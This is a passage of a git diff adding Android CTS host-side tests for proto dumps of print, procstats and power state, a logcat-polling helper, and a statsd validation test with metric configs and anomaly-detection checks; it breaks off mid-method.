+ assertTrue(dump.getNotifyLongScheduledMs() >= 0);
+ assertTrue(dump.getNotifyLongDispatchedMs() >= 0);
+ assertTrue(dump.getNotifyLongNextCheckMs() >= 0);
+ assertTrue(dump.getLastWakeTimeMs() >= 0);
+ assertTrue(dump.getLastSleepTimeMs() >= 0);
+ assertTrue(dump.getLastUserActivityTimeMs() >= 0);
+ assertTrue(dump.getLastUserActivityTimeNoChangeLightsMs() >= 0);
+ assertTrue(dump.getLastInteractivePowerHintTimeMs() >= 0);
+ assertTrue(dump.getLastScreenBrightnessBoostTimeMs() >= 0);
+ // -1 is a valid value.
+ assertTrue(dump.getSleepTimeoutMs() >= -1);
+ assertTrue(dump.getScreenOffTimeoutMs() >= 0);
+ assertTrue(dump.getScreenDimDurationMs() >= 0);
}
}
diff --git a/hostsidetests/incident/src/com/android/server/cts/PrintProtoTest.java b/hostsidetests/incident/src/com/android/server/cts/PrintProtoTest.java
new file mode 100644
index 0000000..24f3d2a
--- /dev/null
+++ b/hostsidetests/incident/src/com/android/server/cts/PrintProtoTest.java
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.server.cts;
+
+import android.service.print.PrintServiceDumpProto;
+import android.service.print.PrintSpoolerStateProto;
+import android.service.print.PrintUserStateProto;
+
+import com.android.tradefed.log.LogUtil;
+
+/**
+ * Test proto dump of print
+ */
+public class PrintProtoTest extends ProtoDumpTestCase {
+ /**
+ * Test that print dump is reasonable
+ *
+ * @throws Exception
+ */
+ public void testDump() throws Exception {
+ // If the device doesn't support printing, then pass.
+ if (!getDevice().hasFeature("android.software.print")) {
+ LogUtil.CLog.d("Bypass as android.software.print is not supported.");
+ return;
+ }
+
+ PrintServiceDumpProto dump = getDump(PrintServiceDumpProto.parser(),
+ "dumpsys print --proto");
+
+ assertTrue(dump.getUserStatesCount() > 0);
+
+ PrintUserStateProto userState = dump.getUserStatesList().get(0);
+ assertEquals(0, userState.getUserId());
+ }
+}
diff --git a/hostsidetests/incident/src/com/android/server/cts/ProcStatsProtoTest.java b/hostsidetests/incident/src/com/android/server/cts/ProcStatsProtoTest.java
new file mode 100644
index 0000000..640da22
--- /dev/null
+++ b/hostsidetests/incident/src/com/android/server/cts/ProcStatsProtoTest.java
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.server.cts;
+
+import android.service.procstats.ProcessStatsProto;
+import android.service.procstats.ProcessStatsServiceDumpProto;
+
+/**
+ * Test proto dump of procstats
+ *
+ * $ make -j32 CtsIncidentHostTestCases
+ * $ cts-tradefed run cts-dev -m CtsIncidentHostTestCases \
+ * -t com.android.server.cts.ProcStatsProtoTest
+ */
+public class ProcStatsProtoTest extends ProtoDumpTestCase {
+
+ private static final String DEVICE_SIDE_TEST_APK = "CtsProcStatsProtoApp.apk";
+ private static final String DEVICE_SIDE_TEST_PACKAGE = "com.android.server.cts.procstats";
+ private static final String TEST_APP_TAG = "ProcstatsAppRunningTest";
+ private static final String TEST_APP_LOG = "Procstats app is running";
+ private static final int WAIT_MS = 1000;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ getDevice().executeShellCommand("dumpsys procstats --clear");
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
+ super.tearDown();
+ }
+
+ /**
+ * Test that procstats dump is reasonable, it installs procstats app and
+ * starts the activity, then asserts the procstats dump contains the package.
+ *
+ * @throws Exception
+ */
+ public void testDump() throws Exception {
+ installPackage(DEVICE_SIDE_TEST_APK, /* grantPermissions= */ true);
+ int retries = 3;
+ do {
+ getDevice().executeShellCommand(
+ "am start -n com.android.server.cts.procstats/.SimpleActivity");
+ } while (!checkLogcatForText(TEST_APP_TAG, TEST_APP_LOG, WAIT_MS) && retries-- > 0);
+
+ final ProcessStatsServiceDumpProto dump = getDump(ProcessStatsServiceDumpProto.parser(),
+ "dumpsys procstats --proto");
+
+ int N = dump.getProcstatsNow().getProcessStatsCount();
+ boolean containsTestApp = false;
+ for (int i = 0; i < N; i++) {
+ ProcessStatsProto ps = dump.getProcstatsNow().getProcessStats(i);
+ if (DEVICE_SIDE_TEST_PACKAGE.equals(ps.getProcess())) {
+ containsTestApp = true;
+ }
+ }
+
+ assertTrue(N > 0);
+ assertTrue(containsTestApp); // found test app in procstats dump
+ }
+}
diff --git a/hostsidetests/incident/src/com/android/server/cts/ProtoDumpTestCase.java b/hostsidetests/incident/src/com/android/server/cts/ProtoDumpTestCase.java
index 5739bf4..d273033 100644
--- a/hostsidetests/incident/src/com/android/server/cts/ProtoDumpTestCase.java
+++ b/hostsidetests/incident/src/com/android/server/cts/ProtoDumpTestCase.java
@@ -17,6 +17,7 @@
package com.android.server.cts;
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.ddmlib.IShellOutputReceiver;
import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
import com.android.ddmlib.testrunner.TestIdentifier;
import com.android.ddmlib.testrunner.TestResult;
@@ -31,11 +32,14 @@
import com.android.tradefed.testtype.DeviceTestCase;
import com.android.tradefed.testtype.IBuildReceiver;
+import com.google.common.base.Charsets;
import com.google.protobuf.InvalidProtocolBufferException;
import com.google.protobuf.MessageLite;
import com.google.protobuf.Parser;
import java.io.FileNotFoundException;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicBoolean;
import java.util.Map;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
@@ -176,4 +180,66 @@
assertTrue("No group found for pattern '" + pattern + "'", matcher.groupCount() > 0);
return matcher.group(1);
}
+
+ /**
+ * Runs logcat and waits (for a maximumum of maxTimeMs) until the desired text is displayed with
+ * the given tag.
+ * Logcat is not cleared, so make sure that text is unique (won't get false hits from old data).
+ * Note that, in practice, the actual max wait time seems to be about 10s longer than maxTimeMs.
+ * Returns true means the desired log line is found.
+ */
+ protected boolean checkLogcatForText(String logcatTag, String text, int maxTimeMs) {
+ IShellOutputReceiver receiver = new IShellOutputReceiver() {
+ private final StringBuilder mOutputBuffer = new StringBuilder();
+ private final AtomicBoolean mIsCanceled = new AtomicBoolean(false);
+
+ @Override
+ public void addOutput(byte[] data, int offset, int length) {
+ if (!isCancelled()) {
+ synchronized (mOutputBuffer) {
+ String s = new String(data, offset, length, Charsets.UTF_8);
+ mOutputBuffer.append(s);
+ if (checkBufferForText()) {
+ mIsCanceled.set(true);
+ }
+ }
+ }
+ }
+
+ private boolean checkBufferForText() {
+ if (mOutputBuffer.indexOf(text) > -1) {
+ return true;
+ } else {
+ // delete all old data (except the last few chars) since they don't contain text
+ // (presumably large chunks of data will be added at a time, so this is
+ // sufficiently efficient.)
+ int newStart = mOutputBuffer.length() - text.length();
+ if (newStart > 0) {
+ mOutputBuffer.delete(0, newStart);
+ }
+ return false;
+ }
+ }
+
+ @Override
+ public boolean isCancelled() {
+ return mIsCanceled.get();
+ }
+
+ @Override
+ public void flush() {
+ }
+ };
+
+ try {
+ // Wait for at most maxTimeMs for logcat to display the desired text.
+ getDevice().executeShellCommand(String.format("logcat -s %s -e '%s'", logcatTag, text),
+ receiver, maxTimeMs, TimeUnit.MILLISECONDS, 0);
+ return receiver.isCancelled();
+ } catch (com.android.tradefed.device.DeviceNotAvailableException e) {
+ System.err.println(e);
+ }
+ return false;
+ }
+
}
diff --git a/hostsidetests/incident/src/com/android/server/cts/SettingsIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/SettingsIncidentTest.java
index 7ea00e1..d9ee469 100644
--- a/hostsidetests/incident/src/com/android/server/cts/SettingsIncidentTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/SettingsIncidentTest.java
@@ -58,7 +58,7 @@
private void verifySettings(GeneratedMessage settings) throws Exception {
verifySettings(getSettingProtos(settings));
- final List<SettingsOperationProto> ops = invoke(settings, "getHistoricalOpList");
+ final List<SettingsOperationProto> ops = invoke(settings, "getHistoricalOperationsList");
for (SettingsOperationProto op : ops) {
assertTrue(op.getTimestamp() >= 0);
assertNotNull(op.getOperation());
diff --git a/hostsidetests/incident/src/com/android/server/cts/StatsdValidationTest.java b/hostsidetests/incident/src/com/android/server/cts/StatsdValidationTest.java
new file mode 100644
index 0000000..c147265
--- /dev/null
+++ b/hostsidetests/incident/src/com/android/server/cts/StatsdValidationTest.java
@@ -0,0 +1,673 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.server.cts;
+
+import com.android.ddmlib.IShellOutputReceiver;
+import com.android.internal.os.StatsdConfigProto.Alert;
+import com.android.internal.os.StatsdConfigProto.AtomMatcher;
+import com.android.internal.os.StatsdConfigProto.Bucket;
+import com.android.internal.os.StatsdConfigProto.CountMetric;
+import com.android.internal.os.StatsdConfigProto.DurationMetric;
+import com.android.internal.os.StatsdConfigProto.EventMetric;
+import com.android.internal.os.StatsdConfigProto.GaugeMetric;
+import com.android.internal.os.StatsdConfigProto.KeyMatcher;
+import com.android.internal.os.StatsdConfigProto.KeyValueMatcher;
+import com.android.internal.os.StatsdConfigProto.Predicate;
+import com.android.internal.os.StatsdConfigProto.SimpleAtomMatcher;
+import com.android.internal.os.StatsdConfigProto.SimplePredicate;
+import com.android.internal.os.StatsdConfigProto.StatsdConfig;
+import com.android.internal.os.StatsdConfigProto.ValueMetric;
+import com.android.os.AtomsProto.Atom;
+import com.android.os.AtomsProto.KernelWakelockPulled;
+import com.android.os.AtomsProto.ScreenStateChanged;
+import com.android.os.StatsLog.ConfigMetricsReport;
+import com.android.os.StatsLog.ConfigMetricsReportList;
+import com.android.tradefed.log.LogUtil;
+
+import com.google.common.io.Files;
+
+import java.io.File;
+import java.text.SimpleDateFormat;
+import java.util.Date;
+import java.util.Random;
+
+/**
+ * Test for statsd
+ *
+ * Validates reporting of statsd logging based on different events
+ */
+public class StatsdValidationTest extends ProtoDumpTestCase {
+
+ private static final String TAG = "StatsdValidationTest";
+
+ private static final boolean TESTS_ENABLED = false;
+ // For tests that require incidentd. Keep as true until TESTS_ENABLED is permanently enabled.
+ private static final boolean INCIDENTD_TESTS_ENABLED = true;
+
+ // TODO: Use a statsd-specific app (temporarily just borrowing the batterystats app)
+ private static final String DEVICE_SIDE_TEST_APK = "CtsStatsDApp.apk";
+ private static final String DEVICE_SIDE_TEST_PACKAGE
+ = "com.android.server.cts.device.statsd";
+ private static final String DEVICE_SIDE_SIMPLE_ACTIVITY_COMPONENT
+ = "com.android.server.cts.device.statsd/.SimpleActivity";
+ private static final String DEVICE_SIDE_FG_ACTIVITY_COMPONENT
+ = "com.android.server.cts.device.statsd/.ForegroundActivity";
+ private static final String DEVICE_SIDE_BG_SERVICE_COMPONENT
+ = "com.android.server.cts.device.statsd/.BackgroundActivity";
+
+ // These constants are those in PackageManager.
+ private static final String FEATURE_BLUETOOTH_LE = "android.hardware.bluetooth_le";
+ private static final String FEATURE_LEANBACK_ONLY = "android.software.leanback_only";
+ private static final String FEATURE_LOCATION_GPS = "android.hardware.location.gps";
+ private static final String FEATURE_WIFI = "android.hardware.wifi";
+
+ // Constants from BatteryStatsBgVsFgActions.java (not directly accessible here).
+ private static final String KEY_ACTION = "action";
+ private static final String ACTION_BLE_SCAN_OPTIMIZED = "action.ble_scan_optimized";
+ private static final String ACTION_BLE_SCAN_UNOPTIMIZED = "action.ble_scan_unoptimized";
+ private static final String ACTION_GPS = "action.gps";
+ private static final String ACTION_JOB_SCHEDULE = "action.jobs";
+ private static final String ACTION_SYNC = "action.sync";
+ private static final String ACTION_WIFI_SCAN = "action.wifi_scan";
+
+ private static final String KEY_REQUEST_CODE = "request_code";
+ private static final String BG_VS_FG_TAG = "BatteryStatsBgVsFgActions";
+
+ private static final String UPDATE_CONFIG_CMD = "cmd stats config update";
+ private static final String DUMP_REPORT_CMD = "cmd stats dump-report";
+ private static final String REMOVE_CONFIG_CMD = "cmd stats config remove";
+ private static final String CONFIG_UID = "1000";
+ private static final String CONFIG_NAME = "cts_config";
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ // TODO: need to do these before running real test:
+ // 1. compile statsd and push to device
+ // 2. make sure StatsCompanionService is running
+ // 3. start statsd
+ // These should go away once we have statsd properly set up.
+
+ // Uninstall to clear the history in case it's still on the device.
+ getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
+ removeConfig("fake");
+ removeConfig(CONFIG_NAME);
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
+ removeConfig(CONFIG_NAME);
+ super.tearDown();
+ }
+
+ public void testScreenOnAtom() throws Exception {
+ if (!TESTS_ENABLED) {return;}
+ StatsdConfig config = getDefaultConfig()
+ .addEventMetric(
+ EventMetric.newBuilder().setName("METRIC").setWhat("SCREEN_TURNED_ON"))
+ .build();
+ uploadConfig(config);
+
+ turnScreenOff();
+ Thread.sleep(2000);
+ turnScreenOn();
+ Thread.sleep(2000);
+
+ ConfigMetricsReportList reportList = getReportList();
+
+ assertTrue(reportList.getReportsCount() == 1);
+ ConfigMetricsReport report = reportList.getReports(0);
+ assertTrue(report.getMetricsCount() == 1);
+ assertTrue(report.getMetrics(0).getEventMetrics().getDataCount() == 1);
+ assertTrue(report.getMetrics(0).getEventMetrics().getData(
+ 0).getAtom().getScreenStateChanged()
+ .getDisplayState().getNumber() ==
+ ScreenStateChanged.State.STATE_ON_VALUE);
+ }
+
+ public void testScreenOffAtom() throws Exception {
+ if (!TESTS_ENABLED) {return;}
+ StatsdConfig config = getDefaultConfig()
+ .addEventMetric(
+ EventMetric.newBuilder().setName("METRIC").setWhat("SCREEN_TURNED_OFF"))
+ .build();
+ uploadConfig(config);
+
+ turnScreenOn();
+ Thread.sleep(2000);
+ turnScreenOff();
+ Thread.sleep(2000);
+
+ ConfigMetricsReportList reportList = getReportList();
+
+ assertTrue(reportList.getReportsCount() == 1);
+ ConfigMetricsReport report = reportList.getReports(0);
+ assertTrue(report.getMetricsCount() == 1);
+ // one of them can be DOZE
+ assertTrue(report.getMetrics(0).getEventMetrics().getDataCount() >= 1);
+ assertTrue(report.getMetrics(0).getEventMetrics().getData(
+ 0).getAtom().getScreenStateChanged()
+ .getDisplayState().getNumber() == ScreenStateChanged.State.STATE_OFF_VALUE ||
+ report.getMetrics(0).getEventMetrics().getData(0).getAtom().getScreenStateChanged()
+ .getDisplayState().getNumber()
+ == ScreenStateChanged.State.STATE_DOZE_VALUE);
+ }
+
+ // Tests that anomaly detection for count works.
+ // Also tests that anomaly detection works when spanning multiple buckets.
+ public void testCountAnomalyDetection() throws Exception {
+ if (!TESTS_ENABLED) return;
+ if (!INCIDENTD_TESTS_ENABLED) return;
+ // TODO: Don't use screen-state as the atom.
+ StatsdConfig config = getDefaultConfig()
+ .addCountMetric(CountMetric.newBuilder()
+ .setName("METRIC")
+ .setWhat("SCREEN_TURNED_ON")
+ .setBucket(Bucket.newBuilder().setBucketSizeMillis(5_000))
+ )
+ .addAlert(Alert.newBuilder()
+ .setName("testCountAnomalyDetectionAlert")
+ .setMetricName("METRIC")
+ .setNumberOfBuckets(4)
+ .setRefractoryPeriodSecs(20)
+ .setTriggerIfSumGt(2)
+ .setIncidentdDetails(Alert.IncidentdDetails.newBuilder()
+ .addSection(-1)
+ )
+ )
+ .build();
+ uploadConfig(config);
+
+ String markDeviceDate = getCurrentLogcatDate();
+ turnScreenOn(); // count -> 1 (not an anomaly, since not "greater than 2")
+ Thread.sleep(1000);
+ turnScreenOff();
+ Thread.sleep(3000);
+ assertFalse(didIncidentdFireSince(markDeviceDate));
+
+ turnScreenOn(); // count ->2 (not an anomaly, since not "greater than 2")
+ Thread.sleep(1000);
+ turnScreenOff();
+ Thread.sleep(1000);
+ assertFalse(didIncidentdFireSince(markDeviceDate));
+
+ turnScreenOn(); // count ->3 (anomaly, since "greater than 2"!)
+ Thread.sleep(1000);
+ assertTrue(didIncidentdFireSince(markDeviceDate));
+
+ turnScreenOff();
+ }
+
+ // Tests that anomaly detection for duration works.
+ // Also tests that refractory periods in anomaly detection work.
+ public void testDurationAnomalyDetection() throws Exception {
+ if (!TESTS_ENABLED) return;
+ if (!INCIDENTD_TESTS_ENABLED) return;
+ // TODO: Do NOT use screenState for this, since screens auto-turn-off after a variable time.
+ StatsdConfig config = getDefaultConfig()
+ .addDurationMetric(DurationMetric.newBuilder()
+ .setName("METRIC")
+ .setWhat("SCREEN_IS_ON")
+ .setAggregationType(DurationMetric.AggregationType.SUM)
+ .setBucket(Bucket.newBuilder().setBucketSizeMillis(5_000))
+ )
+ .addAlert(Alert.newBuilder()
+ .setName("testDurationAnomalyDetectionAlert")
+ .setMetricName("METRIC")
+ .setNumberOfBuckets(12)
+ .setRefractoryPeriodSecs(20)
+ .setTriggerIfSumGt(15_000_000_000L) // 15 seconds in nanoseconds
+ .setIncidentdDetails(Alert.IncidentdDetails.newBuilder()
+ .addSection(-1)
+ )
+ )
+ .build();
+ uploadConfig(config);
+
+ // Test that alarm doesn't fire early.
+ String markDeviceDate = getCurrentLogcatDate();
+ turnScreenOn();
+ Thread.sleep(6_000);
+ assertFalse(didIncidentdFireSince(markDeviceDate));
+
+ turnScreenOff();
+ Thread.sleep(1_000);
+ assertFalse(didIncidentdFireSince(markDeviceDate));
+
+ // Test that alarm does fire when it is supposed to.
+ turnScreenOn();
+ Thread.sleep(13_000);
+ assertTrue(didIncidentdFireSince(markDeviceDate));
+
+ // Now test that the refractory period is obeyed.
+ markDeviceDate = getCurrentLogcatDate();
+ turnScreenOff();
+ Thread.sleep(1_000);
+ turnScreenOn();
+ Thread.sleep(1_000);
+ assertFalse(didIncidentdFireSince(markDeviceDate));
+
+ // Test that detection works again after refractory period finishes.
+ turnScreenOff();
+ Thread.sleep(20_000);
+ turnScreenOn();
+ Thread.sleep(15_000);
+ assertTrue(didIncidentdFireSince(markDeviceDate));
+ }
+
+ // TODO: There is no value anomaly detection code yet! So this will fail.
+ // Tests that anomaly detection for value works.
+ public void testValueAnomalyDetection() throws Exception {
+ if (!TESTS_ENABLED) return;
+ if (!INCIDENTD_TESTS_ENABLED) return;
+ // TODO: Definitely don't use screen-state as the atom. This MUST be changed.
+ StatsdConfig config = getDefaultConfig()
+ .addValueMetric(ValueMetric.newBuilder()
+ .setName("METRIC")
+ .setWhat("SCREEN_TURNED_ON")
+ .setValueField(ScreenStateChanged.DISPLAY_STATE_FIELD_NUMBER)
+ .setBucket(Bucket.newBuilder().setBucketSizeMillis(5_000))
+ )
+ .addAlert(Alert.newBuilder()
+ .setName("testValueAnomalyDetectionAlert")
+ .setMetricName("METRIC")
+ .setNumberOfBuckets(4)
+ .setRefractoryPeriodSecs(20)
+ .setTriggerIfSumGt(ScreenStateChanged.State.STATE_OFF.getNumber())
+ .setIncidentdDetails(Alert.IncidentdDetails.newBuilder()
+ .addSection(-1)
+ )
+ )
+ .build();
+ uploadConfig(config);
+
+ turnScreenOff();
+ String markDeviceDate = getCurrentLogcatDate();
+ turnScreenOff(); // value = STATE_OFF = 1 (probably)
+ Thread.sleep(2000);
+ assertFalse(didIncidentdFireSince(markDeviceDate));
+ turnScreenOn(); // value = STATE_ON = 2 (probably)
+ Thread.sleep(2000);
+ assertTrue(didIncidentdFireSince(markDeviceDate));
+
+ turnScreenOff();
+ }
+
+ // Tests that anomaly detection for gauge works.
+ public void testGaugeAnomalyDetection() throws Exception {
+ if (!TESTS_ENABLED) return;
+ if (!INCIDENTD_TESTS_ENABLED) return;
+ // TODO: Definitely don't use screen-state as the atom. This MUST be changed.
+ StatsdConfig config = getDefaultConfig()
+ .addGaugeMetric(GaugeMetric.newBuilder()
+ .setName("METRIC")
+ .setWhat("SCREEN_TURNED_ON")
+ .setGaugeField(ScreenStateChanged.DISPLAY_STATE_FIELD_NUMBER)
+ .setBucket(Bucket.newBuilder().setBucketSizeMillis(10_000))
+ )
+ .addAlert(Alert.newBuilder()
+ .setName("testGaugeAnomalyDetectionAlert")
+ .setMetricName("METRIC")
+ .setNumberOfBuckets(1)
+ .setRefractoryPeriodSecs(20)
+ .setTriggerIfSumGt(ScreenStateChanged.State.STATE_OFF.getNumber())
+ .setIncidentdDetails(Alert.IncidentdDetails.newBuilder()
+ .addSection(-1)
+ )
+ )
+ .build();
+ uploadConfig(config);
+
+ turnScreenOff();
+ String markDeviceDate = getCurrentLogcatDate();
+ turnScreenOff(); // gauge = STATE_OFF = 1 (probably)
+ Thread.sleep(2000);
+ assertFalse(didIncidentdFireSince(markDeviceDate));
+ turnScreenOn(); // gauge = STATE_ON = 2 (probably)
+ Thread.sleep(2000);
+ assertTrue(didIncidentdFireSince(markDeviceDate));
+
+ turnScreenOff();
+ }
+
+ /**
+ * Determines whether logcat indicates that incidentd fired since the given device date.
+ */
+ private boolean didIncidentdFireSince(String date) throws Exception {
+ final String INCIDENTD_TAG = "incidentd";
+ final String INCIDENTD_STARTED_STRING = "reportIncident";
+ // TODO: Do something more robust than this in case of delayed logging.
+ Thread.sleep(1000);
+ String log = getLogcatSince(date, String.format(
+ "-s %s -e %s", INCIDENTD_TAG, INCIDENTD_STARTED_STRING));
+ return log.contains(INCIDENTD_STARTED_STRING);
+ }
+
+ private void uploadConfig(StatsdConfig config) throws Exception {
+ File configFile = File.createTempFile("statsdconfig", ".config");
+ Files.write(config.toByteArray(), configFile);
+ String remotePath = "/data/" + configFile.getName();
+ getDevice().pushFile(configFile, remotePath);
+ getDevice().executeShellCommand(
+ String.join(" ", "cat", remotePath, "|", UPDATE_CONFIG_CMD, CONFIG_UID,
+ CONFIG_NAME));
+ getDevice().executeShellCommand("rm " + remotePath);
+ }
+
+ public void testKernelWakelockCount() throws Exception {
+ if (!TESTS_ENABLED) {return;}
+ StatsdConfig config = getDefaultConfig()
+ .addGaugeMetric(
+ GaugeMetric.newBuilder()
+ .setName("METRIC")
+ .setWhat("KERNEL_WAKELOCK_PULLED")
+ .setCondition("SCREEN_IS_ON")
+ .addDimension(KeyMatcher.newBuilder()
+ .setKey(KernelWakelockPulled.NAME_FIELD_NUMBER))
+ .setGaugeField(KernelWakelockPulled.COUNT_FIELD_NUMBER)
+ .setBucket(Bucket.newBuilder().setBucketSizeMillis(10)))
+ .build();
+
+ turnScreenOff();
+
+ uploadConfig(config);
+
+ Thread.sleep(2000);
+ turnScreenOn();
+ Thread.sleep(2000);
+
+ ConfigMetricsReportList reportList = getReportList();
+
+ assertTrue(reportList.getReportsCount() == 1);
+ ConfigMetricsReport report = reportList.getReports(0);
+ assertTrue(report.getMetricsCount() >= 1);
+ assertTrue(report.getMetrics(0).getGaugeMetrics().getDataCount() >= 1);
+ }
+
+ public void testKernelWakelockTime() throws Exception {
+ if (!TESTS_ENABLED) {return;}
+ StatsdConfig config = getDefaultConfig()
+ .addGaugeMetric(
+ GaugeMetric.newBuilder()
+ .setName("METRIC")
+ .setWhat("KERNEL_WAKELOCK_PULLED")
+ .setCondition("SCREEN_IS_ON")
+ .addDimension(KeyMatcher.newBuilder()
+ .setKey(KernelWakelockPulled.NAME_FIELD_NUMBER))
+ .setGaugeField(KernelWakelockPulled.TIME_FIELD_NUMBER)
+ .setBucket(Bucket.newBuilder().setBucketSizeMillis(10)))
+ .build();
+ String configName = "testKernelWakelockPulledAtom";
+ removeConfig(configName);
+ turnScreenOff();
+
+ uploadConfig(config);
+
+ Thread.sleep(2000);
+ turnScreenOn();
+ Thread.sleep(2000);
+
+ ConfigMetricsReportList reportList = getReportList();
+
+ assertTrue(reportList.getReportsCount() == 1);
+ ConfigMetricsReport report = reportList.getReports(0);
+ assertTrue(report.getMetricsCount() >= 1);
+ assertTrue(report.getMetrics(0).getGaugeMetrics().getDataCount() >= 1);
+ }
+
+
+
+ /**
+ * Get default config builder for atoms CTS testing.
+ * All matchers are included. One just need to add event metric for pushed events or
+ * gauge metric for pulled metric.
+ */
+ private StatsdConfig.Builder getDefaultConfig() {
+ StatsdConfig.Builder configBuilder = StatsdConfig.newBuilder();
+ configBuilder.setName("12345");
+ configBuilder
+ .addAtomMatcher(AtomMatcher.newBuilder()
+ .setName("SCREEN_TURNED_ON")
+ .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
+ .setTag(Atom.SCREEN_STATE_CHANGED_FIELD_NUMBER)
+ .addKeyValueMatcher(KeyValueMatcher.newBuilder()
+ .setKeyMatcher(KeyMatcher.newBuilder()
+ .setKey(ScreenStateChanged.DISPLAY_STATE_FIELD_NUMBER)
+ )
+ .setEqInt(ScreenStateChanged.State.STATE_ON_VALUE)
+ )
+ )
+ )
+ .addAtomMatcher(AtomMatcher.newBuilder()
+ .setName("SCREEN_TURNED_OFF")
+ .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
+ .setTag(Atom.SCREEN_STATE_CHANGED_FIELD_NUMBER)
+ .addKeyValueMatcher(KeyValueMatcher.newBuilder()
+ .setKeyMatcher(KeyMatcher.newBuilder()
+ .setKey(ScreenStateChanged.DISPLAY_STATE_FIELD_NUMBER)
+ )
+ .setEqInt(ScreenStateChanged.State.STATE_OFF_VALUE)
+ )
+ )
+ )
+ .addAtomMatcher(AtomMatcher.newBuilder()
+ .setName("UID_PROCESS_STATE_CHANGED")
+ .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
+ .setTag(Atom.UID_PROCESS_STATE_CHANGED_FIELD_NUMBER)
+ )
+ )
+ .addAtomMatcher(AtomMatcher.newBuilder()
+ .setName("KERNEL_WAKELOCK_PULLED")
+ .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
+ .setTag(Atom.KERNEL_WAKELOCK_PULLED_FIELD_NUMBER)
+ )
+ )
+ .addAtomMatcher(AtomMatcher.newBuilder()
+ .setName("CPU_TIME_PER_UID_PULLED")
+ .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
+ .setTag(Atom.CPU_TIME_PER_UID_PULLED_FIELD_NUMBER))
+ )
+ .addAtomMatcher(AtomMatcher.newBuilder()
+ .setName("CPU_TIME_PER_FREQ_PULLED")
+ .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
+ .setTag(Atom.CPU_TIME_PER_FREQ_PULLED_FIELD_NUMBER))
+ )
+ .addPredicate(Predicate.newBuilder()
+ .setName("SCREEN_IS_ON")
+ .setSimplePredicate(SimplePredicate.newBuilder()
+ .setStart("SCREEN_TURNED_ON")
+ .setStop("SCREEN_TURNED_OFF")
+ .setCountNesting(false)
+ )
+ )
+ ;
+ return configBuilder;
+ }
+
+ private void removeConfig(String configName) throws Exception {
+ getDevice().executeShellCommand(
+ String.join(" ", REMOVE_CONFIG_CMD, CONFIG_UID, configName));
+ }
+
+ private ConfigMetricsReportList getReportList() throws Exception {
+ ConfigMetricsReportList reportList = getDump(ConfigMetricsReportList.parser(),
+ String.join(" ", DUMP_REPORT_CMD, CONFIG_UID, CONFIG_NAME, "--proto"));
+ LogUtil.CLog.d("get report list as following:\n" + reportList.toString());
+ return reportList;
+ }
+
+ private void turnScreenOn() throws Exception {
+ getDevice().executeShellCommand("input keyevent KEYCODE_WAKEUP");
+ getDevice().executeShellCommand("wm dismiss-keyguard");
+ }
+
+ private void turnScreenOff() throws Exception {
+ getDevice().executeShellCommand("input keyevent KEYCODE_SLEEP");
+ }
+
+ private void rebootDevice() throws Exception {
+ getDevice().rebootUntilOnline();
+ }
+
+ private void startSimpleActivity() throws Exception {
+ getDevice().executeShellCommand(
+ "am start -n com.android.server.cts.device.batterystats/.SimpleActivity");
+ // TODO: assertTrue() on something pulled from statsd report using getStatsOutput.
+ }
+
+ private void installTestApp() throws Exception {
+ installPackage(DEVICE_SIDE_TEST_APK, true);
+ }
+
+ private String getCurrentLogcatDate() throws Exception {
+ // TODO: Do something more robust than this for getting logcat markers.
+ long timestampSecs = getDevice().getDeviceDate();
+ return new SimpleDateFormat("MM-dd HH:mm:ss.SSS")
+ .format(new Date(timestampSecs * 1000L));
+ }
+
+ private String getLogcatSince(String date, String logcatParams) throws Exception {
+ return getDevice().executeShellCommand(String.format(
+ "logcat -v threadtime -t '%s' -d %s", date, logcatParams));
+ }
+
+ // TODO: All the following code is entirely taken verbatim from BatteryStatsValidationTest.
+ // If we end up needing it, we should refactor the code so that they share these commands.
+
+ private int getUid() throws Exception {
+ String uidLine = getDevice().executeShellCommand("cmd package list packages -U "
+ + DEVICE_SIDE_TEST_PACKAGE);
